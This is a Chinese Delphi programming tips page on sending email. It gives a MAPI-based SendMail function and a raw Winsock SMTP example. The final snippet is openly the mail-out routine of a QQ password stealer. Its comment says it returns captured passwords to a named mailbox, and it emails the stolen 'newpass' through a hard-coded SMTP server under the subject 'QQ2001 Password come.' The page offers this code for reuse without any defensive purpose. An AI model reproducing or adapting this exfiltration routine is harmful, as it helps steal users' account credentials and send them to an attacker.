首页  编辑  

纯api的发送邮件程序

Tags: /超级猛料/Network.网络通讯/电子邮件/   Date Created:

function SendMail(const Subject, Body, FileName,

 SenderName, SenderEMail,

 RecepientName, RecepientEMail: string): Integer;

var

 Message: TMapiMessage;

 lpSender, lpRecepient: TMapiRecipDesc;

 FileAttach: TMapiFileDesc;

 SM: TFNMapiSendMail;

 MAPIModule: HModule;

begin

 FillChar(Message, SizeOf(Message), 0);

 with Message do

 begin

   if (Subject <> '') then lpszSubject := PChar(Subject);

   if (Body <> '') then lpszNoteText := PChar(Body);

   if (SenderEmail <> '') then

   begin

     lpSender.ulRecipClass := MAPI_ORIG;

     if (SenderName = '') then

       lpSender.lpszName := PChar(SenderEMail)

     else

       lpSender.lpszName := PChar(SenderName);

     lpSender.lpszAddress := PChar(SenderEmail);

     lpSender.ulReserved := 0;

     lpSender.ulEIDSize := 0;

     lpSender.lpEntryID := nil;

     lpOriginator := @lpSender;

   end;

   if (RecepientEmail <> '') then

   begin

     lpRecepient.ulRecipClass := MAPI_TO;

     if (RecepientName = '') then

       lpRecepient.lpszName := PChar(RecepientEMail)

     else

       lpRecepient.lpszName := PChar(RecepientName);

     lpRecepient.lpszAddress := PChar(RecepientEmail);

     lpRecepient.ulReserved := 0;

     lpRecepient.ulEIDSize := 0;

     lpRecepient.lpEntryID := nil;

     nRecipCount := 1;

     lpRecips := @lpRecepient;

   end

   else

     lpRecips := nil;

   if (FileName = '') then

   begin

     nFileCount := 0;

     lpFiles := nil;

   end

   else

   begin

     FillChar(FileAttach, SizeOf(FileAttach), 0);

     FileAttach.nPosition := Cardinal($FFFFFFFF);

     FileAttach.lpszPathName := PChar(FileName);

     nFileCount := 1;

     lpFiles := @FileAttach;

   end;

 end;

 MAPIModule := LoadLibrary(PChar(MAPIDLL));

 if MAPIModule = 0 then

   Result := -1

 else

 try

   @SM := GetProcAddress(MAPIModule, 'MAPISendMail');

   if @SM <> nil then

   begin

     Result := SM(0, Application.Handle, Message, MAPI_DIALOG or

MAPI_LOGON_UI, 0);

   end

   else

     Result := 1;

 finally

   FreeLibrary(MAPIModule);

 end;

 if Result <> 0 then

   MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,

     [mbOK], 0);

end;

**********************

下面是利用WinSock发送电子邮件的例子:

whaoye:

program SendMail;

uses

 winsock;

{$R *.RES}

procedure sendmails;stdcall;

var

s:tsocket;

buffer:array[0..255] of char;

errorcode:integer;

mailserver:tsockaddr;

begin

mailserver.sin_family:=af_inet;

mailserver.sin_port:=htons(25);

mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');

s:=socket(af_inet,sock_stream,0);

errorcode:=connect(s,mailserver,sizeof(mailserver));

if errorcode<>invalid_socket then

begin

  buffer:='HELO'+#13#10;

  send(s,buffer,length('HELO'+#13#10),0);

  buffer:='MAIL FROM: whaoye@21cn.com'+#13#10;

  send(s,buffer,length('MAIL FROM: whaoye@21cn.com'+#13#10),0);

  buffer:='RCPT TO:administrator@godeye'+#13#10;

  send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);

  buffer:='DATA'+#13#10;

  send(s,buffer,length('DATA'+#13#10),0);

  buffer:='FROM:whaoye@21cn.com'+#13#10;

  send(s,buffer,length('FROM:whaoye@21cn.com'+#13#10),0);

  buffer:='TO:administrator@godeye'+#13#10;

  send(s,buffer,length('TO:administrator@21cn.com'+#13#10),0);

  buffer:='SUBJECT:just a test!'+#13#10;

  send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);

  buffer:='I LOVE THIS GAME!'+#13#10;

  send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);

  buffer:='.'+#13#10;

  send(s,buffer,length('.'+#13#10),0);

  buffer:='QUIT'+#13#10;

  send(s,buffer,length('QUIT'+#13#10),0);

  closesocket(s);

end;

end;

var

wsa:twsadata;

begin

wsastartup($0202,wsa);

sendmails;

wsacleanup;

end.

*******************

//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱

procedure MailSend;

begin

err:=recv(FSocket,sbuf,400,0);

s1:=strpas(sbuf);

inc(step);

case step of

1:s1:='HELO smtp.hacker.com'+CRLF;

2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;

3:s1:='RCPT TO: <'+email+'>'+CRLF;

4:s1:='DATA'+CRLF;

5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF

+'To:"getoicq"<www.password.com>'+CRLF

+'Subject:QQ2001 Password come.'+CRLF

+CRLF

+newpass+CRLF

+'.'+CRLF;

6:s1:='QUIT'+CRLF;

else

step:=0;

end;

strcopy(sbuf,pchar(s1));

err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);

end;

//发信主过程

procedure SendPass;

begin

err:=WSAStartup($0101,WSAData);

FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);

//利用 smtp.21cn.com 进行发信

fhost:='202.104.32.230';

fport:=25;

SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));

SockAddrIn.sin_family := PF_INET;

SockAddrIn.sin_port :=htons(Fport);

err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));

step:=0;

repeat

MailSend;

until step=0;

err:=closesocket(FSocket);

err:=WSACleanup;

end;